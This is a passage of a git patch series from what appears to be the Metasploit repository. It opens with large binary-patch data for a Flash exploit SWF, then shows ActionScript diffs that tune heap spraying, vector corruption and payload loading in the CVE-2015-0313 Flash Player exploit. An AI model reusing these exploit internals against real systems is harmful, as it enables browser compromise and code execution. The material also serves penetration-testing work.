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 = new Vector.(120000) + private var ov:Vector. = new Vector.(80000) private var uv:Vector. private var ba:ByteArray = new ByteArray() private var worker:Worker @@ -44,16 +44,6 @@ public class Exploit extends Sprite { platform = LoaderInfo(this.root.loaderInfo).parameters.pl os = LoaderInfo(this.root.loaderInfo).parameters.os - Logger.log("od: " + os) - var ov_limit:uint - if (os == "Windows 8.1" || os == "Windows 8") { - ov_limit = 80000 - } else { - ov_limit = 60000 - } - Logger.log("ov: " + ov.length.toString()) - Logger.log("ov_limit: " + ov_limit.toString()) - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh var pattern:RegExp = / /g; b64_payload = b64_payload.replace(pattern, "+") @@ -66,9 +56,10 @@ public class Exploit extends Sprite for (var i:uint = 0; i < ov.length; i++) { ov[i] = new Vector.(1014) ov[i][0] = 0xdeedbeef + ov[i][1] = 0xdeadbeef } Logger.log("holes") - for (i = 0; i < ov_limit; i += 2) { + for (i = 0; i < 70000; i += 2) { delete(ov[i]) } worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) @@ -89,7 +80,7 @@ public class Exploit extends Sprite ov[0] = new Vector.(1022) mc.send("") while (mc.messageAvailable); - for (var i:uint = 0; i < 20000; i++) { + for (var i:uint = 0;; i++) { if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) { ov[0][i] = 0xffffffff break @@ -104,12 +95,15 @@ public class Exploit extends Sprite var mod:uint = casi32(0, 1022, 0xFFFFFFFF) Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString()) if (mod == 1022) mc.receive() - else { + else { for (var i:uint = 0; i < ov.length; i++) { if (ov[i].length == 0xffffffff) { uv = ov[i] } else { - ov[i] = null + if (ov[i] != null) { + delete(ov[i]) + ov[i] = null + } } } if (uv == null) { diff --git a/external/source/exploits/CVE-2015-0313/Exploiter.as b/external/source/exploits/CVE-2015-0313/Exploiter.as index 9675548493..ebbf9649fa 100644 --- a/external/source/exploits/CVE-2015-0313/Exploiter.as +++ b/external/source/exploits/CVE-2015-0313/Exploiter.as @@ -24,7 +24,7 @@ package private var payload_address:uint private var stack:Vector. = new Vector.(0x6400) private var payload_space:Vector. = new Vector.(0x6400) - private var spray:Vector. = new Vector.(89698) + private var spray:Vector. = new Vector.(15000) public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void { @@ -32,7 +32,7 @@ package payload = p platform = pl op_system = os - + ev = new ExploitVector(uv) if (!ev.is_ready()) return eba = new ExploitByteArray(platform) From 7fba64ed141e40501d442aab3788da5cb5062e95 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 12:26:53 -0500 Subject: [PATCH 0386/1013] Allow more search space --- data/exploits/CVE-2015-0313/msf.swf | Bin 21011 -> 21012 bytes .../source/exploits/CVE-2015-0313/Exploit.as | 4 ---- .../exploits/CVE-2015-0313/Exploiter.as | 12 ++++++------ .../source/exploits/CVE-2015-0313/Logger.as | 2 +- 4 files changed, 7 insertions(+), 11 deletions(-) diff --git a/data/exploits/CVE-2015-0313/msf.swf b/data/exploits/CVE-2015-0313/msf.swf index 5ffb0426ff2295e78babf3e35a53e672052b2172..bcfbde4dbc64971b35ab5a44c403d9561b6a7224 100644 GIT binary patch delta 20894 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Ⓢ z>RLpuj$?!#zTjF_R_ZuLADmqA*UsUq9LI0?IMuKjwZkZPR@*IGz6VuZ2GycgD?cl+ z)*i)A!_{cK6(A@};mBxTRdushn3~#`+;4q;j%B1F)r)MVZg0FG?xgxgUKuI_fM+i~ zbyqzVW@rU}-%_v=P3nOmhS0?IHocXX|3R8S|04_ihn~Yz5@KCI%4n^x*(T{$w~2KT zNz!y5+PL?fJ31Vwf+WzgFA+QYi8ID~kMZ!B7RnF#6 z003Z=cKE9slUlOraZ51RluyXzV_U(G1cfR(@7h$eDDQQ19X>ikggU20#lI>H1?I`Q zjj=Jr&JiPj*n?Y!D>kZw)Me$x?D`vRN8JIy=TB!=~j~z ztu~o@-vRtFgjQORHq)qpB9{D-F4X?L*WZfx#BIK7i%-WiAK zVuM$XVk-&pyQ=PKrr%w-$yT4`WB=ehf@Y+-jR(2rZLzT#Tho^#XKjox=1%PPxvP$v zvf$~dO<@JDd!*mJpahS>wYTKyrZ5_W{N_$%aeS?jqy!sDw`ERZE{pMO!ASuov5aSb zz>jC+fZriiY|sKOPzv0){ryS3U`b#gqNDjDEUCa#FxdS-Oucehm9OK8)!f+sH3rRe)e6Us_X`slRaM==%V7X|nhEl% zAII{8iWwI_Fx6(oFvNij3IZtnUl->hDt~B-%Xa5?Eq&UPI`TFmG0*GkRgmyfBTkXICB*~>f7>QCc*xYxl?IkzRtnZ(#(o~paOJJ zxAEupknPxN+IYz4zM|Y46kbC2Ex~J-sktOQfB6k|9S|}EXl=f@Z@=KGmxwJ0DxBhTq( zv0cMz5j>0|IoxMnhW+eUd#K+~!T@cZ4ju1HxFEveQy!j7)}zl|X6Rpks*X4#L@l(b zFiqNs)TNEl;#Otc{`;U`j1Z{KpV(Xl%?6)z(C=i3$y1jm`0~SSf%Ro(sc}p15b)0? zJC<+sTRQrQToWm9iDSAN_;J*8@a7_|Q4YhFSamW>QsM-MlMb@W8by65t~PRP$WiZu znY_8nCGP>Ez#G*Tg#AT-XXuQa-;zGx9c<8WMfj+@m5(J3*`PSrl$4(tcpqdwS+K(L z9&0u3hlX}|E@_!ZYj4L^St&qsW2#s~SIEzKXaSwl#lsL+l-;<}@XuC;mcG>of{a_W ztK-M+pNJ5FhwSqgIcH~K)Gzd>%dO&`M`yBXi*D#1F$yLKS1cy?W9;R6#>z4)o+)Hs?ua=E@inMz3fi95?#Wkwoc#JCPI^nFEb0#S+^QnqhQ* z(2MuHc`Lok8v}CLQ5`W>{vi;)@yv7r({TY}3*)sr)zlD?m2KG=NPqQ@+l19M?X({m zfGmdXM#W&2Tq7M-K0i5Eiji=*H_)YxpYm;>4;W>+WAdw9?{bVYgk8RDi`B|JThTxt zmY4O**+ON1Q#ZxDNDbYdtkhz~@la@xgZs3kcR#9)1P~qE3xs*hb4hDx!fja)6&)U2 z_)b#=dUxSkpAfZ1r%KLq&IWu^xUl?9wFsunMqp3Ac-gWU;se`W!*eU!d#a$|>rd{O zD$VjEd3n#a!ug5SXn&&$p22*h07zTEc;tnc;YU+{ajx;S`dYva{^nIW9k#-1K7GSc z&jjpC$bbAF1&-gv^-W0V+cWDxL9VqIW1)6Aw1*;U93TAr1KfgW{*xn)UdL4f&&M^M zMIeL;V1?v*LeM@-TIh*qqAB?jQOZ?mD?=szuJ+S3o^HzzN9xWlo~zbva)R#x=Yx$` zNCVe@HR`$(_3jJzZ_PgMjA4jtlk|Wnc&ZowYuK{#stpl$pd9T_Wq%GO(vM*E20=N^ za99brpwPvpc*IC6W#{Lcoz}|@7AR!U0t-?9k6? zr2B4}f}faildyWmqrAw|A0#o!TNoaw=G z?d2sn?EQ3&7>VTCf!F{-^4IIF;Zyb)z6@_IeqF#h;iAuB;v||ESsRuORkE}scC>D}lR%!NPID6~| zU2~dxL*j2;oZQ6Hx*j6^NqC=)D#)^bmON9SZ#Q16j{{vZ0}O|b@Rs#ybj(i`fAsD= zM>*E^JEaae*bj-&m;N>1=-_O3aQC64GQAKcaReU9okn)KB2G4heLxFH?$w(fq8Is1rfa@=l}uDyfFuapUYaNmMc;Ih=~IdL+I--v#uH(;$|dfPN@{Dx7B8J%>q 